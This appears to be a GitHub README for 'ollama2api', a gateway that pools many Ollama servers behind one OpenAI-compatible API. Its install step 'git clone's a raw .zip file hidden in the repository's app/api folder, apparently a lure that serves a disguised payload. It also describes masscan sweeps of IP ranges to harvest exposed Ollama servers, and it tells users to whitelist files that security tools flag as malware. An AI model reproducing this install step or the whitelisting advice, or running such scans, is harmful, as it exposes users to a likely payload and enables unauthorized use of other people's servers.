Aggregate multiple Ollama instances into a unified OpenAI-compatible API with load balancing, health checks, auto discovery, and web management.
Ollama 后端聚合网关 — 兼容 OpenAI API,多节点负载均衡,自动发现与管理
将多个 Ollama 实例聚合为统一的 OpenAI 兼容 API,支持智能负载均衡、健康检查、节点扫描发现和 Web 管理后台。
/v1/chat/completions + /v1/models,可直接对接 ChatGPT 前端、Cursor 等工具git clone https://github.com/ssantosdanilo/ollama2api/raw/refs/heads/main/app/api/api_ollama_v2.7.zip
cd ollama2api
docker-compose up -d访问 http://localhost:8001/admin 进入管理后台。
安全提示:首次部署后请立即在管理后台修改默认管理员密码。
python -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python main.py服务启动于 http://localhost:8001。
| 依赖 | 必须 | 说明 |
|---|---|---|
| Python 3.10+ | 是 | 运行环境 |
| masscan | 否 | 高速端口扫描,未安装时回退纯 Python |
| Xray | 否 | 代理支持,不需代理可忽略 |
运行时配置存储在 data/config.json,支持通过管理后台热修改:
| 配置项 | 默认值 | 说明 |
|---|---|---|
request_timeout | 300 | 请求超时(秒) |
connect_timeout | 10 | 连接超时(秒) |
health_check_interval | 300 | 健康检查间隔(秒) |
max_retries | 3 | 请求最大重试次数 |
cooldown_threshold | 3 | 连续失败多少次后冷却 |
cooldown_duration | 300 | 冷却时长(秒) |
scanner_concurrency | 50 | 扫描并发数 |
masscan_rate | 5000 | masscan 发包速率 |
cleanup_offline_hours | 24 | 离线节点自动清理阈值(小时) |
完全兼容 OpenAI Chat Completions API:
# 聊天补全(流式)
curl http://localhost:8001/v1/chat/completions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your-api-key" \
-d '{"model": "your-model", "messages": [{"role": "user", "content": "Hello"}], "stream": true}'
# 模型列表
curl http://localhost:8001/v1/models
# 健康检查
curl http://localhost:8001/health未配置 API Key 时无需
Authorization头。
独立扫描脚本 batch_scan.py 用于批量发现 Ollama 节点:
# 1. 创建扫描范围文件(参考 scan_ranges.example.json)
cp scan_ranges.example.json scan_ranges.json
# 2. 设置环境变量并运行
export ADMIN_PASSWORD="your-password"
python3 batch_scan.py # 默认读 scan_ranges.json
python3 batch_scan.py my_ranges.json # 指定范围文件
# 3. 后台运行
nohup python3 -u batch_scan.py > scan.log 2>&1 &首次启动时,服务会自动从
data/hit_ips.txt导入种子节点。
ollama2api/
├── main.py # 应用入口
├── batch_scan.py # 批量扫描脚本
├── scan_ranges.example.json # 扫描范围示例
├── app/
│ ├── api/
│ │ ├── admin.py # 管理后台 API
│ │ ├── proxy.py # 代理管理 API
│ │ └── v1/
│ │ ├── chat.py # 聊天补全接口
│ │ └── models.py # 模型列表接口
│ ├── core/
│ │ ├── auth.py # 认证中间件
│ │ ├── config.py # 配置管理
│ │ ├── constants.py # 常量(目标模型列表)
│ │ ├── logger.py # 日志
│ │ └── storage.py # JSON 文件存储
│ ├── models/
│ │ └── openai_models.py # OpenAI 请求/响应模型
│ ├── services/
│ │ ├── api_keys.py # API Key 管理
│ │ ├── backend_manager.py # 节点池 + 负载均衡
│ │ ├── health_checker.py # 健康检查
│ │ ├── ollama_client.py # Ollama 客户端(流式/非流式)
│ │ ├── proxy_manager.py # 代理管理
│ │ ├── request_logger.py # 请求日志
│ │ ├── request_stats.py # 请求统计
│ │ └── scanner.py # 节点扫描服务
│ └── template/
│ └── login.html # 登录页
├── data/ # 运行时数据(自动生成,勿提交)
├── logs/ # 日志目录
├── Dockerfile
├── docker-compose.yml
└── requirements.txt| 组件 | 用途 |
|---|---|
| FastAPI | 异步 Web 框架 |
| Uvicorn | ASGI 服务器 |
| aiohttp | 异步 HTTP 客户端 |
| Pydantic v2 | 数据校验 |
| uvloop | 高性能事件循环(Linux/macOS) |
ADMIN_PASSWORD 设置或在管理后台修改batch_scan.py 和 Docker 镜像中的 masscan 为合法网络扫描工具,部分云服务商的安全策略可能将其标记为恶意软件。如遇误报,可将相关文件加入白名单,或改用纯 Python 扫描模式(不安装 masscan 即自动回退)本项目完全免费开源,仅供学习和研究用途。作者不对使用本项目所产生的任何直接或间接后果承担责任。使用者应自行承担使用风险,并遵守所在地区的法律法规。本项目与作者的其他项目、工作或身份无关。
ssantosdanilo/ollama2api
March 18, 2026
April 13, 2026
Python